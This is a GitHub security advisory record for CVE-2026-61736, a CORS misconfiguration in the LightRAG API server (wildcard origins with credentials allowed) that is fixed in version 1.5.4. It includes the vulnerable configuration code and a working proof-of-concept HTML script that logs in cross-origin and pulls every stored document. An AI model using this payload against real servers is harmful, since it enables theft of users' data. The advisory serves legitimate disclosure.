CVE-2026-61736: LightRAG CORS Wildcard + Credentials Enables Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6x6h-qqr7-855w",
  "modified" : "2026-07-20T21:45:25Z",
  "published" : "2026-07-20T21:45:25Z",
  "aliases" : [ "CVE-2026-61736" ],
  "summary" : "LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests",
  "details" : "### Summary\nThe server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.\n\n### Details\n\n```python\n# lightrag/api/config.py:639\nargs.cors_origins = get_env_value(\"CORS_ORIGINS\", \"*\")  # default wildcard\n\n# lightrag/api/lightrag_server.py:1379\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],       # any origin\n    allow_credentials=True,   # credentials — PROBLEM with wildcard\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n# Starlette CORSMiddleware (confirmed in source):\n# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials\n# = not True or True = True  → echoes the requesting origin back, not \"*\"\n# Result: every origin receives Access-Control-Allow-Credentials: true\n```\n\n### PoC\n\nHost on any origin. Open in browser where user is logged in to LightRAG:\n\n```html\n<!-- attacker.com/steal.html -->\n<script>\nconst TARGET = \"http://lightrag-server:9621\";\n(async () => {\n  // Get victim token (or re-use existing session)\n  const r1 = await fetch(`${TARGET}/login`, {\n    method: \"POST\", credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"username=victim&password=known_pass\"\n  });\n  const { access_token } = await r1.json();\n\n  // Exfiltrate all documents\n  const docs = await (await fetch(`${TARGET}/documents`, {\n    credentials: \"include\",\n    headers: { Authorization: `Bearer ${access_token}` }\n  })).json();\n  console.log(\"STOLEN DOCS:\", docs);\n})();\n</script>\n```\n\n### Impact\nPermissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61736"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3317"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-20T21:45:25Z",
    "nvd_published_at" : "2026-07-15T15:16:48Z"
  }
}